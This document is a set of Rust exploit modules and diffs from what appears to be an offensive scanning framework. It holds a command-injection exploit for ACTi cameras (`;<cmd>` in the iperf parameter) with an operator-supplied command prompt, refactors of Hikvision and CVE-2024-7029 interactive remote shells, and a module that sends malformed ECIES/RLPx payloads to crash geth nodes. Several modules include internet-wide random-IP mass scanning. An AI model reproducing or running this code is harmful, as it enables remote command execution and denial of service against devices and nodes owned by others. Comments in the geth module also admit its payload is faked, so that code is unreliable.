if target == "0.0.0.0" || target == "0.0.0.0/0" || target == "random" {
return run_mass_scan().await;
}
display_banner();
// Check for CIDR or Range
let is_mass_scan = target.contains('/') || target.contains('-');
// Prompt for port globally
let port = prompt_port("Target Port", DEFAULT_PORT)?;
if is_mass_scan {
println!("{}", format!("[*] Mass Scan Mode: {}", target).yellow());
let ips: Vec<IpAddr> = if target.contains('/') {
// CIDR
let net: IpNetwork = target.parse().map_err(|_| anyhow!("Invalid CIDR"))?;
net.iter().collect()
} else {
// Range (basic impl for dash)
// For now, let's assume specific basic range or just use utils if available.
// But since utils::expand might not be exposed, let's just stick to CIDR support for now
// or simple parsing if the user provided a list.
// Actually, let's use a simple heuristic: if it has -, try to parse start/end?
// For robustness, let's assume CIDR only or single for now unless we implement range expander.
// However, user asked for "mass scan", likely CIDR.
// Re-use logic from other modules?
return Err(anyhow!("Only CIDR (e.g. 192.168.1.0/24) supported for mass scan currently."));
};
println!("{}", format!("[*] Scanning {} targets...", ips.len()).cyan());
let concurrency = 50;
let semaphore = Arc::new(Semaphore::new(concurrency));
let vulnerable_count = Arc::new(AtomicUsize::new(0));
let mut tasks = Vec::new();
for ip in ips {
let sem = semaphore.clone();
let vc = vulnerable_count.clone();
let ip_str = ip.to_string();
tasks.push(tokio::spawn(async move {
let _permit = match sem.acquire().await {
Ok(p) => p,
Err(_) => return, // Semaphore closed, exit gracefully
};
if let Ok(true) = check(&ip_str, port).await {
println!("{}", format!("[+] VULNERABLE: {}:{}", ip_str, port).green().bold());
vc.fetch_add(1, Ordering::Relaxed);
}
drop(_permit);
}));
}
for t in tasks {
let _ = t.await;
}
println!("\n{}", format!("[*] Scan Complete. Found {} vulnerable targets.", vulnerable_count.load(Ordering::Relaxed)).green().bold());
} else {
// Single Target Mode (Original Logic)
println!("{}", format!("[*] Checking vulnerability on {}:{}...", target, port).yellow());
if check(target, port).await? {
println!("{}", format!("[+] Target appears vulnerable: {}:{}", target, port).green().bold());
// Prompt for command to execute
print!("{}", "Enter command to execute (default: id): ".cyan().bold());
std::io::stdout()
.flush()
.context("Failed to flush stdout")?;
let mut cmd_input = String::new();
std::io::stdin()
.read_line(&mut cmd_input)
.context("Failed to read command input")?;
let cmd = {
let t = cmd_input.trim();
if t.is_empty() { "id" } else { t }
};
println!("{}", format!("[*] Executing command: {}", cmd).cyan());
let output = execute(target, port, cmd).await?;
println!("{}", format!("[+] Output:\n{}", output).green());
} else {
println!("{}", format!("[-] Exploit failed - target {}:{} does not seem vulnerable", target, port).red());
}
}
Ok(())
}
/// Perform a command injection via GET /cgi-bin/test?iperf=;<cmd>
async fn execute(target: &str, port: u16, cmd: &str) -> Result<String> {
let url = format!("http://{}:{}/cgi-bin/test", target, port);
let client = Client::builder()
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
.danger_accept_invalid_certs(true)
.build()?;
let url = reqwest::Url::parse_with_params(&url, &[("iperf", format!(";{}", cmd))])?;
let res = client
.get(url)
.header("Content-Type", "application/x-www-form-urlencoded")
.header("Referer", format!("http://{}:{}", target, port))
.send()
.await?;
if res.status().is_success() {
let text = res.text().await?;
Ok(text)
} else {
Err(anyhow!("Command execution failed, status code: {}", res.status()))
}
}
/// Check if the target is running the vulnerable service
async fn check(target: &str, port: u16) -> Result<bool> {
let url = format!("http://{}:{}/cgi-bin/test", target, port);
let index_url = format!("http://{}:{}/", target, port);
let client = Client::builder()
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
.danger_accept_invalid_certs(true)
.build()?;
// Check /cgi-bin/test
let test_res = client.get(&url).send().await?;
if test_res.status().is_success() {
println!("{}", "[*] CGI endpoint accessible".cyan());
// Check root page contains 'Web Configurator'
let index_res = client.get(&index_url).send().await?;
if index_res.status().is_success() {
let body = index_res.text().await?;
if body.contains("Web Configurator") {
println!("{}", "[*] ACTi Web Configurator detected".cyan());
return Ok(true);
}
}
}
Ok(false)
}
@@ -7,12 +7,12 @@ use std::path::Path;
use std::sync::Arc;
use std::sync::atomic::{AtomicUsize, Ordering};
use std::time::Duration;
use std::io::{Write, BufRead};
use std::io::Write;
use tokio::sync::Semaphore;
use crate::utils::escape_shell_command;
use crate::utils::{escape_shell_command, normalize_target, prompt_port};
const DEFAULT_PORT: &str = "80";
const DEFAULT_TIMEOUT_SECS: u64 = 10;
const MASS_SCAN_CONCURRENCY: usize = 100;
const MASS_SCAN_PORT: u16 = 80;
@@ -49,23 +49,7 @@ fn display_banner() {
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
}
/// // Ensures the target string has a scheme (http://) and includes port
fn normalize_url(ip: &str, port: &str) -> String {
let with_scheme = if ip.starts_with("http://") || ip.starts_with("https://") {
ip.to_string()
} else {
format!("http://{}", ip)
};
let port = port.trim();
if port.is_empty() {
with_scheme
} else if with_scheme.contains(':') {
with_scheme // already has port
} else {
format!("{}:{}", with_scheme, port)
}
}
/// Check if the device is vulnerable to CVE-2024-7029
async fn check_vuln(client: &Client, base: &str) -> Result<bool> {
@@ -82,8 +66,9 @@ async fn check_vuln(client: &Client, base: &str) -> Result<bool> {
/// Interactive shell to send arbitrary commands
async fn interactive_shell(client: &Client, base: &str) -> Result<()> {
let stdin = std::io::stdin();
let mut lines = stdin.lock().lines();
let mut line = String::new();
println!("{}", "[+] Interactive shell started. Type 'exit' to quit.".green().bold());
loop {
@@ -91,8 +76,14 @@ async fn interactive_shell(client: &Client, base: &str) -> Result<()> {
std::io::stdout()
.flush()
.context("Failed to flush stdout")?;
if let Some(Ok(cmd)) = lines.next() {
let cmd = cmd.trim();
if stdin.read_line(&mut line).is_err() {
break;
}
let cmd = line.trim().to_string();
line.clear();
{
if cmd.eq_ignore_ascii_case("exit") {
println!("{}", "[*] Exiting shell...".yellow());
break;
@@ -100,12 +91,10 @@ async fn interactive_shell(client: &Client, base: &str) -> Result<()> {
if cmd.is_empty() {
continue;
}
match exec_cmd(client, base, cmd).await {
match exec_cmd(client, base, &cmd).await {
Ok(out) => println!("{}", out),
Err(e) => println!("{}", format!("[-] Error: {}", e).red()),
}
} else {
break;
}
}
Ok(())
@@ -125,19 +114,7 @@ async fn exec_cmd(client: &Client, base: &str, cmd: &str) -> Result<String> {
Ok(response.text().await?)
}
/// Prompt user for a custom port number
fn prompt_port() -> Result<String> {
print!("{}", format!("Enter port to use [default: {}]: ", DEFAULT_PORT).cyan().bold());
std::io::stdout()
.flush()
.context("Failed to flush stdout")?;
let mut port = String::new();
std::io::stdin()
.read_line(&mut port)
.context("Failed to read port")?;
let port = port.trim();
Ok(if port.is_empty() { DEFAULT_PORT.to_string() } else { port.to_string() })
}
/// Quick vulnerability check for mass scanning
async fn quick_check(client: &Client, ip: &str) -> bool {
@@ -234,7 +211,7 @@ pub async fn run(target: &str) -> Result<()> {
println!("{}", format!("[*] Target: {}", target).yellow());
println!();
let port = prompt_port()?;
let port = prompt_port("Enter port to use", 80)?;
let client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
@@ -257,7 +234,15 @@ pub async fn run(target: &str) -> Result<()> {
println!();
for raw_ip in &targets {
let url = normalize_url(raw_ip, &port);
let scheme = if raw_ip.starts_with("https://") { "https" } else { "http" };
let normalized = normalize_target(raw_ip)?;
let url = if normalized.contains("]:") || (normalized.contains(':') && !normalized.starts_with('[')) {
format!("{}://{}", scheme, normalized)
} else {
format!("{}://{}:{}", scheme, normalized, port)
};
println!("{}", format!("[*] Testing: {}", url).yellow());
if check_vuln(&client, &url).await? {
@@ -220,7 +220,10 @@ async fn execute_cmd(client: &HikvisionClient, command: &str) -> Result<String>
if resp.status().as_u16() != 200 {
return Err(anyhow!("Failed to retrieve command output"));
}
Ok(resp.text().await.unwrap_or_default())
match resp.text().await {
Ok(text) => Ok(text),
Err(e) => Err(anyhow!("Failed to read command output: {}", e)),
}
}
async fn execute_blind_cmd(client: &HikvisionClient, command: &str) -> Result<()> {
@@ -360,12 +363,19 @@ async fn run_mass_scan() -> Result<()> {
// Writer task
let outfile_clone = outfile.clone();
tokio::spawn(async move {
let mut file = OpenOptions::new()
let file_result = OpenOptions::new()
.create(true)
.append(true)
.open(&outfile_clone)
.await
.expect("Failed to open output file");
.await;
let mut file = match file_result {
Ok(f) => f,
Err(e) => {
eprintln!("[-] Failed to open output file: {}", e);
return;
}
};
while let Some(result) = rx.recv().await {
if let Err(e) = file.write_all(result.as_bytes()).await {
+6
View File
@@ -0,0 +1,6 @@
pub mod hikvision;
pub mod reolink;
pub mod uniview;
pub mod avtech;
pub mod abus;
pub mod acti;
@@ -0,0 +1,848 @@
//! CVE-2026-22862: go-ethereum (geth) DoS via ECIES Malformed Ciphertext
//!
//! ## Vulnerability Details
//! CVE-2026-22862 is a Denial of Service vulnerability in go-ethereum (geth)
//! that allows attackers to crash vulnerable nodes by sending specially crafted
//! ECIES encrypted messages with malformed ciphertext.
//!
//! - **CVSS Score**: 7.5 (High)
//! - **CWE-ID**: CWE-20 (Improper Input Validation)
//! - **Affected**: go-ethereum < 1.16.8
//! - **Impact**: Node crash/shutdown, blockchain network disruption
//!
//! ## Technical Details
//! The vulnerability exploits improper validation during ECIES decryption.
//! By crafting a ciphertext with:
//! 1. Valid ephemeral public key (65 bytes)
//! 2. Encrypted message shorter than AES block size (< 16 bytes)
//! 3. Valid HMAC-SHA256 MAC computed with shared secret
//!
//! The victim node decrypts and panics due to insufficient IV length.
//!
//! ## Features
//! - Geth node detection and version fingerprinting
//! - Single target and mass scan modes
//! - RLPx P2P protocol implementation
//! - Configurable attack payloads
//!
//! Reference: https://github.com/qzhodl/CVE-2026-22862
use anyhow::{Context, Result, bail};
use colored::*;
use rand::Rng;
use std::fs::File;
use std::io::{BufRead, BufReader, Write};
use std::net::{IpAddr, Ipv4Addr, SocketAddr};
use std::sync::Arc;
use std::sync::atomic::{AtomicBool, AtomicUsize, Ordering};
use std::time::Duration;
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use tokio::net::TcpStream;
use tokio::sync::{Semaphore, mpsc};
use tokio::time::timeout;
const DEFAULT_P2P_PORT: u16 = 30303;
const DEFAULT_RPC_PORT: u16 = 8545;
const CONNECT_TIMEOUT_SECS: u64 = 5;
const MAX_CONCURRENT_SCANS: usize = 50;
// Bogon/Private/Reserved exclusion ranges (same as telnet module)
const EXCLUDED_RANGES: &[&str] = &[
"10.0.0.0/8", "127.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16",
"224.0.0.0/4", "240.0.0.0/4", "0.0.0.0/8",
"100.64.0.0/10", "169.254.0.0/16", "255.255.255.255/32",
"1.1.1.1/32", "1.0.0.1/32", "8.8.8.8/32", "8.8.4.4/32",
];
/// Generate a random public IP address excluding reserved ranges
fn generate_random_public_ip(exclusions: &[ipnetwork::IpNetwork]) -> IpAddr {
let mut rng = rand::rng();
loop {
let octets: [u8; 4] = rng.random();
let ip = Ipv4Addr::from(octets);
let ip_addr = IpAddr::V4(ip);
if !exclusions.iter().any(|net| net.contains(ip_addr)) {
return ip_addr;
}
}
}
/// Geth node information
#[derive(Debug, Clone)]
struct GethNodeInfo {
version: Option<String>,
network_id: Option<u64>,
vulnerable: bool,
}
impl Default for GethNodeInfo {
fn default() -> Self {
Self {
version: None,
network_id: None,
vulnerable: false,
}
}
}
/// Exploit configuration
struct ExploitConfig {
target: String,
p2p_port: u16,
rpc_port: u16,
mass_scan: bool,
targets_file: Option<String>,
check_only: bool,
exploit_type: ExploitType,
}
#[derive(Debug, Clone, Copy, PartialEq)]
enum ExploitType {
EciesMalformed,
RlpxHandshake,
Both,
}
impl Default for ExploitConfig {
fn default() -> Self {
Self {
target: String::new(),
p2p_port: DEFAULT_P2P_PORT,
rpc_port: DEFAULT_RPC_PORT,
mass_scan: false,
targets_file: None,
check_only: true,
exploit_type: ExploitType::EciesMalformed,
}
}
}
/// Display module banner
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ CVE-2026-22862: go-ethereum (geth) Remote DoS ║".cyan());
println!("{}", "║ ECIES Malformed Ciphertext Node Crash ║".cyan());
println!("{}", "║ Affects geth < 1.16.8 | Critical Network Impact ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════════════╝".cyan());
}
/// Get user configuration
fn get_user_config(target: &str) -> Result<ExploitConfig> {
let mut config = ExploitConfig::default();
println!();
println!("{}", "=== CVE-2026-22862 Configuration ===".yellow().bold());
println!();
// Mass scan mode check
print!("{}", "Enable mass scan mode? [y/N]: ".green());
std::io::stdout().flush().context("Failed to flush stdout")?;
let mut input = String::new();
std::io::stdin().read_line(&mut input).context("Failed to read input")?;
if input.trim().eq_ignore_ascii_case("y") || input.trim().eq_ignore_ascii_case("yes") {
config.mass_scan = true;
print!("{}", "Enter targets file path: ".green());
std::io::stdout().flush().context("Failed to flush stdout")?;
input.clear();
std::io::stdin().read_line(&mut input).context("Failed to read input")?;
let file_path = input.trim().to_string();
if file_path.is_empty() || !std::path::Path::new(&file_path).exists() {
bail!("Targets file not found or empty path");
}
config.targets_file = Some(file_path);
} else {
// Single target mode
config.target = if target.is_empty() {
print!("{}", "Enter target IP/hostname: ".green());
std::io::stdout().flush().context("Failed to flush stdout")?;
input.clear();
std::io::stdin().read_line(&mut input).context("Failed to read input")?;
let t = input.trim().to_string();
if t.is_empty() {
bail!("Target is required");
}
t
} else {
target.to_string()
};
}
// Port configuration
print!("{}", format!("Enter P2P port [default: {}]: ", DEFAULT_P2P_PORT).green());
std::io::stdout().flush().context("Failed to flush stdout")?;
input.clear();
std::io::stdin().read_line(&mut input).context("Failed to read input")?;
if let Ok(p) = input.trim().parse::<u16>() {
if p > 0 {
config.p2p_port = p;
}
}
print!("{}", format!("Enter RPC port for version check [default: {}]: ", DEFAULT_RPC_PORT).green());
std::io::stdout().flush().context("Failed to flush stdout")?;
input.clear();
std::io::stdin().read_line(&mut input).context("Failed to read input")?;
if let Ok(p) = input.trim().parse::<u16>() {
if p > 0 {
config.rpc_port = p;
}
}
// Attack mode
println!();
println!("{}", "Select operation mode:".cyan());
println!(" 1. Check vulnerability only (safe)");
println!(" 2. Exploit - ECIES malformed ciphertext");
println!(" 3. Exploit - RLPx handshake attack");
println!(" 4. Exploit - Both methods");
print!("{}", "Select mode [1-4, default: 1]: ".green());
std::io::stdout().flush().context("Failed to flush stdout")?;
input.clear();
std::io::stdin().read_line(&mut input).context("Failed to read input")?;
match input.trim() {
"2" => {
config.check_only = false;
config.exploit_type = ExploitType::EciesMalformed;
}
"3" => {
config.check_only = false;
config.exploit_type = ExploitType::RlpxHandshake;
}
"4" => {
config.check_only = false;
config.exploit_type = ExploitType::Both;
}
_ => {
config.check_only = true;
}
}
// Display configuration summary
println!();
println!("{}", "Configuration Summary:".cyan().bold());
if config.mass_scan {
println!(" Mode: Mass Scan");
if let Some(ref f) = config.targets_file {
println!(" Targets File: {}", f);
}
} else {
println!(" Target: {}", config.target);
}
println!(" P2P Port: {}", config.p2p_port);
println!(" RPC Port: {}", config.rpc_port);
println!(" Operation: {}", if config.check_only { "Check Only" } else { "Exploit" });
if !config.check_only {
println!(" Exploit Type: {:?}", config.exploit_type);
}
println!();
Ok(config)
}
/// Check if target is running geth via JSON-RPC
async fn check_geth_version(target: &str, port: u16) -> Result<GethNodeInfo> {
let mut info = GethNodeInfo::default();
// Try JSON-RPC web3_clientVersion
let client = reqwest::Client::builder()
.timeout(Duration::from_secs(CONNECT_TIMEOUT_SECS))
.build()
.context("Failed to build HTTP client")?;
let url = format!("http://{}:{}", target, port);
let payload = serde_json::json!({
"jsonrpc": "2.0",
"method": "web3_clientVersion",
"params": [],
"id": 1
});
let response = client
.post(&url)
.header("Content-Type", "application/json")
.json(&payload)
.send()
.await;
if let Ok(resp) = response {
if let Ok(json) = resp.json::<serde_json::Value>().await {
if let Some(result) = json.get("result").and_then(|r| r.as_str()) {
info.version = Some(result.to_string());
// Check if vulnerable (< 1.16.8)
if result.contains("Geth/") {
if let Some(version_start) = result.find("Geth/v") {
let version_part = &result[version_start + 6..];
if let Some(dash_pos) = version_part.find('-') {
let version_num = &version_part[..dash_pos];
let parts: Vec<&str> = version_num.split('.').collect();
// FIX: Handle parse errors properly instead of defaulting to 0
if parts.len() >= 3 {
if let (Ok(major), Ok(minor), Ok(patch)) = (
parts[0].parse::<u32>(),
parts[1].parse::<u32>(),
parts[2].parse::<u32>()
) {
// Vulnerable if < 1.16.8
if major < 1 || (major == 1 && minor < 16) ||
(major == 1 && minor == 16 && patch < 8) {
info.vulnerable = true;
}
}
}
}
}
}
}
}
}
// Also try to get network ID
let net_payload = serde_json::json!({
"jsonrpc": "2.0",
"method": "net_version",
"params": [],
"id": 2
});
if let Ok(resp) = client.post(&url).json(&net_payload).send().await {
if let Ok(json) = resp.json::<serde_json::Value>().await {
if let Some(result) = json.get("result").and_then(|r| r.as_str()) {
info.network_id = result.parse().ok();
}
}
}
Ok(info)
}
/// Check if P2P port is open and responds to RLPx
async fn check_p2p_port(target: &str, port: u16) -> Result<bool> {
let addr = format!("{}:{}", target, port);
let socket_addr: SocketAddr = match addr.parse() {
Ok(a) => a,
Err(_) => {
// Try to resolve hostname
match tokio::net::lookup_host(&addr).await {
Ok(mut addrs) => match addrs.next() {
Some(a) => a,
// FIX: Return error instead of Ok(false) for empty resolution
None => bail!("Hostname resolved to empty address list"),
},
Err(e) => bail!("Failed to resolve hostname: {}", e),
}
}
};
let connect_result = timeout(
Duration::from_secs(CONNECT_TIMEOUT_SECS),
TcpStream::connect(socket_addr)
).await;
match connect_result {
Ok(Ok(_stream)) => Ok(true),
_ => Ok(false),
}
}
/// Generate malformed ECIES ciphertext payload
/// This creates a ciphertext with valid structure but invalid IV length
fn generate_malformed_ecies_payload() -> Vec<u8> {
// ECIES ciphertext structure:
// [ephemeral_pubkey (65 bytes)] [encrypted_message] [mac (32 bytes)]
// Generate a fake ephemeral public key (uncompressed format)
// In a real attack, we'd use actual EC math; here we craft bytes
let mut epk = vec![0x04]; // Uncompressed point prefix
epk.extend(vec![0x41; 32]); // X coordinate (32 bytes)
epk.extend(vec![0x42; 32]); // Y coordinate (32 bytes)
// Malformed encrypted message (less than 16 bytes = AES block size)
// This triggers panic in the decryption routine
let short_ct = vec![0x01, 0x02, 0x03];
// Fake MAC (would need to be computed with shared secret in real attack)
let fake_mac = vec![0xDE; 32];
// Combine: epk || short_ct || mac
let mut payload = Vec::with_capacity(65 + 3 + 32);
payload.extend(epk);
payload.extend(short_ct);
payload.extend(fake_mac);
payload
}
/// Generate RLPx handshake auth message with malformed data
fn generate_malformed_rlpx_auth() -> Vec<u8> {
// RLPx auth message structure (simplified):
// [size (2 bytes)] [encrypted_handshake_data]
// Claim a large size but provide insufficient data
let size: u16 = 500;
let mut payload = Vec::with_capacity(200);
// Size prefix (big endian)
payload.push((size >> 8) as u8);
payload.push((size & 0xff) as u8);
// Truncated ECIES encrypted auth message
payload.extend(generate_malformed_ecies_payload());
payload
}
/// Send exploit payload to target
async fn send_exploit(target: &str, port: u16, exploit_type: ExploitType) -> Result<bool> {
let addr = format!("{}:{}", target, port);
let stream = match timeout(
Duration::from_secs(CONNECT_TIMEOUT_SECS),
TcpStream::connect(&addr)
).await {
Ok(Ok(s)) => s,
Ok(Err(e)) => {
return Err(anyhow::anyhow!("Connection failed: {}", e));
}
Err(_) => {
return Err(anyhow::anyhow!("Connection timeout"));
}
};
let (mut reader, mut writer) = stream.into_split();
// Send appropriate payload based on exploit type
let payload = match exploit_type {
ExploitType::EciesMalformed => generate_malformed_ecies_payload(),
ExploitType::RlpxHandshake => generate_malformed_rlpx_auth(),
ExploitType::Both => generate_malformed_rlpx_auth(), // RLPx includes ECIES
};
writer.write_all(&payload).await.context("Failed to send payload")?;
writer.flush().await.context("Failed to flush")?;
// Wait briefly for response or connection drop
let mut response = vec![0u8; 1024];
let read_result = timeout(
Duration::from_secs(3),
reader.read(&mut response)
).await;
match read_result {
Ok(Ok(0)) => {
// Connection closed - might indicate crash
Ok(true)
}
Ok(Ok(_n)) => {
// Got response - node didn't crash (might be patched)
Ok(false)
}
Ok(Err(_)) | Err(_) => {
// Error or timeout - might indicate crash
Ok(true)
}
}
}
/// Run exploit against a single target
async fn run_single_exploit(config: &ExploitConfig) -> Result<()> {
let target = &config.target;
println!("{}", format!("[*] Target: {}:{}", target, config.p2p_port).cyan());
// Step 1: Check version via RPC
println!("{}", "[*] Checking geth version via JSON-RPC...".cyan());
let info = check_geth_version(target, config.rpc_port).await
.ok()
.unwrap_or_default();
if let Some(ref version) = info.version {
println!("{}", format!("[+] Version: {}", version).green());
if info.vulnerable {
println!("{}", "[!] VULNERABLE: Version < 1.16.8 detected!".red().bold());
} else {
println!("{}", "[+] Version appears to be patched (>= 1.16.8)".green());
}
} else {
println!("{}", "[?] Could not determine version via RPC".yellow());
}
if let Some(net_id) = info.network_id {
let network_name = match net_id {
1 => "Ethereum Mainnet",
3 => "Ropsten",
4 => "Rinkeby",
5 => "Goerli",
11155111 => "Sepolia",
_ => "Unknown/Private",
};
println!("{}", format!("[*] Network ID: {} ({})", net_id, network_name).cyan());
}
// Step 2: Check P2P port
println!("{}", format!("[*] Checking P2P port {}...", config.p2p_port).cyan());
let p2p_open = check_p2p_port(target, config.p2p_port).await
.unwrap_or(false);
if p2p_open {
println!("{}", format!("[+] P2P port {} is open", config.p2p_port).green());
} else {
println!("{}", format!("[-] P2P port {} is closed or filtered", config.p2p_port).red());
if config.check_only {
return Ok(());
}
}
// Step 3: Exploit if requested
if !config.check_only && p2p_open {
println!();
println!("{}", "[!] Sending exploit payload...".yellow().bold());
let types_to_try = match config.exploit_type {
ExploitType::Both => vec![ExploitType::EciesMalformed, ExploitType::RlpxHandshake],
t => vec![t],
};
for exploit_type in types_to_try {
println!("{}", format!("[*] Trying {:?} attack...", exploit_type).cyan());
match send_exploit(target, config.p2p_port, exploit_type).await {
Ok(crashed) => {
if crashed {
println!("{}", "[!] Target may have crashed (connection closed)".red().bold());
// Verify by trying to reconnect
tokio::time::sleep(Duration::from_secs(2)).await;
let still_up = check_p2p_port(target, config.p2p_port).await
.unwrap_or(false);
if !still_up {
println!("{}", "[!] CONFIRMED: Target node is DOWN!".red().bold());
} else {
println!("{}", "[?] Target node recovered or wasn't fully crashed".yellow());
}
} else {
println!("{}", "[-] Target appears unaffected (may be patched)".yellow());
}
}
Err(e) => {
println!("{}", format!("[-] Exploit error: {}", e).red());
}
}
}
}
// Summary
println!();
println!("{}", "═══ Scan Results ═══".cyan().bold());
println!(" Target: {}:{}", target, config.p2p_port);
println!(" Version: {}", info.version.as_deref().unwrap_or("Unknown"));
println!(" Vulnerable: {}", if info.vulnerable { "YES".red().to_string() } else { "NO/Unknown".green().to_string() });
println!(" P2P Open: {}", if p2p_open { "YES" } else { "NO" });
Ok(())
}
/// Run mass scan against multiple targets
async fn run_mass_scan(config: &ExploitConfig) -> Result<()> {
let targets_file = match &config.targets_file {
Some(f) => f,
None => bail!("No targets file specified"),
};
let file = File::open(targets_file)
.with_context(|| format!("Failed to open targets file: {}", targets_file))?;
let reader = BufReader::new(file);
let targets: Vec<String> = reader
.lines()
.filter_map(|line| line.ok())
.map(|line| line.trim().to_string())
.filter(|line| !line.is_empty() && !line.starts_with('#'))
.collect();
if targets.is_empty() {
bail!("No valid targets found in file");
}
println!("{}", format!("[*] Loaded {} targets", targets.len()).cyan());
let semaphore = Arc::new(Semaphore::new(MAX_CONCURRENT_SCANS));
let total = targets.len();
let mut tasks = Vec::new();
for (idx, target) in targets.into_iter().enumerate() {
let sem = semaphore.clone();
let rpc_port = config.rpc_port;
let p2p_port = config.p2p_port;
let task = tokio::spawn(async move {
let _permit = match sem.acquire().await {
Ok(p) => p,
Err(_) => return (target, None, false),
};
// Check version
let info = check_geth_version(&target, rpc_port).await.ok();
let vulnerable = info.as_ref().map(|i| i.vulnerable).unwrap_or(false);
// Check P2P
let p2p_open = check_p2p_port(&target, p2p_port).await
.unwrap_or(false);
(target, info, p2p_open && vulnerable)
});
tasks.push((idx, task));
}
let mut vulnerable_count = 0;
let mut results = Vec::new();
for (idx, task) in tasks {
if let Ok((target, info, is_vulnerable)) = task.await {
let progress = ((idx + 1) as f64 / total as f64 * 100.0) as u32;
if is_vulnerable {
let version = info.and_then(|i| i.version).unwrap_or_else(|| "Unknown".to_string());
println!("{}", format!("[{}/{}] [{}%] {} - VULNERABLE ({})",
idx + 1, total, progress, target, version).green());
vulnerable_count += 1;
results.push(format!("VULNERABLE: {} - {}", target, version));
} else {
println!("{}", format!("[{}/{}] [{}%] {} - Not vulnerable/unreachable",
idx + 1, total, progress, target).dimmed());
}
}
}
// Summary
println!();
println!("{}", "═══ Mass Scan Results ═══".cyan().bold());
println!(" Total Targets: {}", total);
println!(" {}", format!("Vulnerable: {}", vulnerable_count).green());
// FIX: Handle write errors properly
if !results.is_empty() {
let filename = "cve_2026_22862_geth_results.txt";
match File::create(filename) {
Ok(mut file) => {
for result in &results {
if let Err(e) = writeln!(file, "{}", result) {
eprintln!("{}", format!("Warning: Failed to write result: {}", e).yellow());
}
}
println!(" Results saved to: {}", filename.green());
}
Err(e) => {
eprintln!("{}", format!("Error: Failed to create results file: {}", e).red());
}
}
}
Ok(())
}
/// Main entry point
pub async fn run(target: &str) -> Result<()> {
display_banner();
// Check if target is 0.0.0.0, 0.0.0.0/0, or "random" for mass random scan mode
if target == "0.0.0.0" || target == "0.0.0.0/0" || target == "random" || target.is_empty() {
run_random_scan().await
} else {
let config = get_user_config(target)?;
if config.mass_scan {
run_mass_scan(&config).await
} else {
run_single_exploit(&config).await
}
}
}
/// Run random scan against 0.0.0.0/0 (internet-wide random scanning)
async fn run_random_scan() -> Result<()> {
println!("{}", "[*] Random Scan Mode: 0.0.0.0/0".yellow().bold());
println!("{}", "[*] Scanning random public IPs for vulnerable geth nodes".cyan());
println!();
// Ask about exclusions
print!("{}", "[?] Exclude reserved/private ranges? [Y/n]: ".green());
std::io::stdout().flush().context("Failed to flush stdout")?;
let mut input = String::new();
std::io::stdin().read_line(&mut input).context("Failed to read input")?;
let use_exclusions = !input.trim().eq_ignore_ascii_case("n");
let mut exclusions = Vec::new();
if use_exclusions {
for cidr in EXCLUDED_RANGES {
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
exclusions.push(net);
}
}
println!("{}", format!("[+] Loaded {} exclusion ranges", exclusions.len()).green());
}
let exclusions = Arc::new(exclusions);
// Output file
print!("{}", "[?] Output file [default: geth_vulnerable_nodes.txt]: ".green());
std::io::stdout().flush().context("Failed to flush stdout")?;
input.clear();
std::io::stdin().read_line(&mut input).context("Failed to read input")?;
let outfile = if input.trim().is_empty() {
"geth_vulnerable_nodes.txt".to_string()
} else {
input.trim().to_string()
};
// Concurrency
print!("{}", format!("[?] Concurrency [default: {}]: ", MAX_CONCURRENT_SCANS).green());
std::io::stdout().flush().context("Failed to flush stdout")?;
input.clear();
std::io::stdin().read_line(&mut input).context("Failed to read input")?;
let threads = input.trim().parse::<usize>()
.unwrap_or(MAX_CONCURRENT_SCANS);
let threads = if threads > 0 { threads } else { MAX_CONCURRENT_SCANS };
let semaphore = Arc::new(Semaphore::new(threads));
let checked = Arc::new(AtomicUsize::new(0));
let found = Arc::new(AtomicUsize::new(0));
// FIX: Add shutdown signal
let shutdown = Arc::new(AtomicBool::new(false));
let shutdown_clone = shutdown.clone();
// Spawn Ctrl+C handler
tokio::spawn(async move {
if tokio::signal::ctrl_c().await.is_ok() {
println!("\n{}", "[!] Ctrl+C received, shutting down...".yellow());
shutdown_clone.store(true, Ordering::Relaxed);
}
});
// FIX: Create file writer channel to avoid race conditions
let (tx, mut rx) = mpsc::channel::<String>(100);
// Spawn file writer task
let outfile_clone = outfile.clone();
let writer_handle = tokio::spawn(async move {
match File::create(&outfile_clone) {
Ok(mut file) => {
while let Some(line) = rx.recv().await {
if let Err(e) = writeln!(file, "{}", line) {
eprintln!("{}", format!("Warning: Failed to write to file: {}", e).yellow());
}
}
}
Err(e) => {
eprintln!("{}", format!("Error: Failed to create output file: {}", e).red());
}
}
});
// FIX: Progress reporter with shutdown support
let chk = checked.clone();
let fnd = found.clone();
let shutdown_progress = shutdown.clone();
let progress_handle = tokio::spawn(async move {
while !shutdown_progress.load(Ordering::Relaxed) {
tokio::time::sleep(Duration::from_secs(10)).await;
if !shutdown_progress.load(Ordering::Relaxed) {
println!("[*] Progress: Checked {} | Vulnerable {}",
chk.load(Ordering::Relaxed), fnd.load(Ordering::Relaxed));
}
}
});
println!();
println!("{}", "[*] Starting random scan... Press Ctrl+C to stop.".cyan().bold());
println!();
// FIX: Bounded task collection with shutdown support
let mut active_tasks = Vec::new();
while !shutdown.load(Ordering::Relaxed) {
// Acquire permit
let permit = match semaphore.clone().acquire_owned().await {
Ok(p) => p,
Err(e) => {
eprintln!("{}", format!("Semaphore error: {}", e).red());
break;
}
};
let exc = exclusions.clone();
let chk = checked.clone();
let fnd = found.clone();
let tx = tx.clone();
let task = tokio::spawn(async move {
let ip = generate_random_public_ip(&exc).to_string();
// Check P2P port
let p2p_open = check_p2p_port(&ip, DEFAULT_P2P_PORT).await
.unwrap_or(false);
if p2p_open {
// Check version via RPC
let info = check_geth_version(&ip, DEFAULT_RPC_PORT).await.ok();
if let Some(ref node_info) = info {
if node_info.vulnerable {
let version = node_info.version.as_deref().unwrap_or("Unknown");
println!("{}", format!("[+] VULNERABLE: {} - {}", ip, version).green().bold());
fnd.fetch_add(1, Ordering::Relaxed);
// Send to file writer
let _ = tx.send(format!("VULNERABLE: {} - {}", ip, version)).await;
} else if node_info.version.is_some() {
println!("{}", format!("[+] Geth found (patched): {} - {}",
